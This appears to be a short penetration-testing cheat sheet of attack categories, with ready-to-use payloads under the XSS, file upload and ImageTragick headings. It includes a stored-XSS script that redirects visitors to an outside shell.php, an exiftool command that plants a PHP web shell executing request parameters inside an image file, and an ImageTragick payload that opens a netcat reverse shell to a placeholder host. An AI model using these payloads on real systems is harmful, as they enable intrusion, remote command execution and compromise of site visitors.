Shell
CLI
RFI
LFI
SQL
XSS:

Comment:

<script>window.location=’http://10.10.10.10/shell.php'</script>

FTP

File Upload:

.gif .jpx

exiftool -DocumentName=”<h1>F1uffy<br><?php if (isset(\$ REQUEST[‘cmd’])){echo ‘<pre>’;\$cmd =(\$_REQUEST[‘cmd’]);system(\$cmd);echo ‘</pre>’;} __halt_compiler();?></h1>” image.php.jpg

fire commands via url www.site.com/path-to-image.php.jpg?cmd=ls

ImageTragick:  nano reverse.png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/someimage.jpg"|nc -e /bin/sh IP_ADDRESS_HERE "PORT_HERE)'
pop graphic-context

App Vulnerabilities
Admin Panel
Curl parameter injection